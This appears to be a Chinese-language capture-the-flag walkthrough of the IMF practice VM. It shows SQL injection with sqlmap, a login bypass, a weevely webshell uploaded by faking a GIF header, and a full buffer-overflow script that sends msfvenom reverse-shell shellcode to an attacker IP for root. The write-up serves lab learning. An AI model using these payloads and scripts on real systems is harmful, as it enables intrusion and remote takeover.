IMF 靶机渗透
目标:得到root权限
作者:shadow
时间:2021-03-16
请注意:对于所有计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。
一、信息收集
netdiscover -i eth0 imf主机ip为172.16.1.13
然后我们nmap一下看看哪些端口是开放的
nmap -p- -A 172.16.1.13
主机只开放了80端口,登录浏览器看看情况
home页面什么都没有
projects页面为一些无用的信息
contact us 页面是一个发邮件的页面
我们查下网页源代码,看看会发现什么
果然有发现,我们发现了flag1,flag采用base64加密,直接解密下就可以
flag1{YWxsdGhlZmlsZXM=}
解密后为allthefiles
尝试登陆下发现没用,继续查找线索
查看home页面源代码发现有很奇怪的字符,像是加密过得,我们尝试解密
将密文连起来为ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
解密后为flag2{aW1mYWRtaW5pc3RyYXRvcg==}得到flag2,看来是套中套
flag2解密后为imfadministrator
用flag2尝试登陆,竟然是一个登录页面
二、web渗透
输入用户名test 密码test 提示无效用户名
使用burpsuit尝试爆破
在爆破的过程中,查看response的时候发现了一条注释。。
意思是我无法让SQL工作,所以我硬编码了密码。它仍然很安全。Roger
刚才我们看到contact us里面有三个人,其中一个就叫Roger S.Michaels,邮箱为rmichaels@imf.local
我们尝试下用户名rmichaels 发现页面之前提示的无效用户名变成了无效的密码,证明用户存在
此处耗费了很长时间,看网上大神说传空数组可以通过验证,果断尝试了一下好使
得到flag3{Y29udGludWVUT2Ntcw==}
解密为continueTOcms
提示继续cms
我们点击IMF CMS进入,里面三个页面,源代码也没发现什么,使用dirb扫描下
dirb http://172.16.1.13/imfadministrator/
发现有一个上传文件夹,但是不知道如何上传,继续找,尝试sql注入
将home改为*,保存为imf,然后使用sqlmap跑下
sqlmap -r imf --risk=3 --level=5 --dbs --dump --batch --threads=10
发现了一张图片,我们看一下,里面有个二维码,扫描一下得到flag4
flag4{dXBsb2Fkcjk0Mi5waHA=}
解密为uploadr942.php
登录图片如下,可以上传文件,我们尝试传一个php木马获得shell
使用weevely创建php木马
weevely generate imf123 backdoor.php
然后点击上传发现提示无效文件类型,看了只可以传jpg、png、gif试试了
weevely生成gif进行尝试,发现提示无效的文件数据
也就是说在上传时先检测上传的文件是不是图片文件,直接检测了文件的后缀名是不是图片格式,如果是就通过了这一步验证。接下来判断Content-type的值,如果是
image那就认为是上传了图片文件,服务器端并没有对文件的头进行检测。所以我们直接生成GIF木马,然后修改文件头,增加GIF+任意数字
然后上传文件,显示文件上传成功,我们使用weevely连接我们的木马
打开页面源代码查看木马值
weevely http://172.16.1.13/imfadministrator/uploads/3b8dce6e55c4.gif imf123
成功回弹shell,得到flag5
flag5{YWdlbnRzZXJ2aWNlcw==}
解密后agentservices
三、提权
我们跟着提示查找agent,发现有代理在执行
去根目录看看有什么,结果发现了access_codes
SYN 7482,8279,9467
我们尝试用Knock撬开端口
下载链接git clone https://github.com/grongor/knock.git
现在7788端口已经开放,下载反汇编工具retdec来看看他的agent工作原理
git clone https://github.com/avast/retdec.git
安装所需要的工具
apt-get install build-essential cmake git perl python3 bison flex libfl-dev autoconf automake libtool pkg-config m4 zlib1g-dev upx doxygen graphviz
安装retdec
cd retdec
mkdir imf && cd imf
cmake .. -DCMAKE_INSTALL_PREFIX=~/retdec
(若此处报错未找到openssl就安装 openssl 的编译依赖apt-get install libssl-dev)
make && make install
安装成功后我们将imf的agent下载到本地
:file_download /usr/local/bin/agent ~/retdec/bin
使用retdec-decompiler进行反编译
/retdec-decompiler agent
查看agent相关信息
cat agent* | less -Sr
agent id为0x2ddd984
echo $((0x2ddd984))
转化后为48093572
接下来我们进入agent看看是什么
chmod +x agent
./agent
输入agent id成功进入
主菜单中第三个为提交报告,可能会存在缓冲区溢出漏洞,我们尝试提交100个a
python -c 'print "a" * 100'
100个a没问题,再试试200个a
ok果然报错了,尝试缓冲区溢出攻击提权
搜索字符创建模板
locate pattern_create
使用msf的模板创建200个字符长度的字符序列
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
使用debugger运行agent,输入agent id ,运行Submit Report 输入刚才得到的200个字符
gdb agent
run
EIP的地址为0x41366641
使用pattern_offset.rb找到偏移量为168
locate pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41366641
生成反弹shell代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.1.4 LPORT=4444 -f python -b "\x00\x0a\x0d"
查看agent跳转地址
objdump -d agent | grep jmp | grep eax
发现没有,我们再看看有没有call eax的,结果如下
在8048563这个地址进行了call
编写溢出脚本
#!/usr/bin/python
import time, struct, sys
import socket as so
#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=172.16.1.4 -b "\x00\x0a\x0d" -f py
buf = b""
buf += b"\xba\xdc\xf0\xb0\xb6\xdd\xc5\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x12\x31\x50\x12\x83\xe8\xfc\x03\x8c\xfe\x52"
buf += b"\x43\x1d\x24\x65\x4f\x0e\x99\xd9\xfa\xb2\x94\x3f\x4a"
buf += b"\xd4\x6b\x3f\x38\x41\xc4\x7f\xf2\xf1\x6d\xf9\xf5\x99"
buf += b"\xc1\xe9\x04\x5d\x72\x08\x07\x4c\xde\x85\xe6\xde\xb8"
buf += b"\xc5\xb9\x4d\xf6\xe5\xb0\x90\x35\x69\x90\x3a\xa8\x45"
buf += b"\x66\xd2\x5c\xb5\xa7\x40\xf4\x40\x54\xd6\x55\xda\x7a"
buf += b"\x66\x52\x11\xfc"
#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))
buf +="\x63\x85\x04\x08\n"
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 172.16.1.13 7788" % sys.argv[0]
sys.exit()
#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try:
s.connect((server,port))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.send(buf)
s.recv(1024)
print "\n[+] Completed."
except:
print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
sys.exit()
开启另一个窗口进行监听
nc -nvlp 4444
执行缓冲区溢出脚本
python overflow.py 172.16.1.14 7788
成功溢出反弹shell,为root权限
并且得到flag6
flag6{R2gwc3RQcm90MGMwbHM=}
解密后Gh0stProt0c0ls
四、总结
这个靶机包含了很多知识点,木马、逆向、缓冲区溢出等等,花了好长的时间学习了缓冲区攻击的溢出原理,一定要手动做!
还有一定要细心观察,得到信息,慢慢渗透下去。。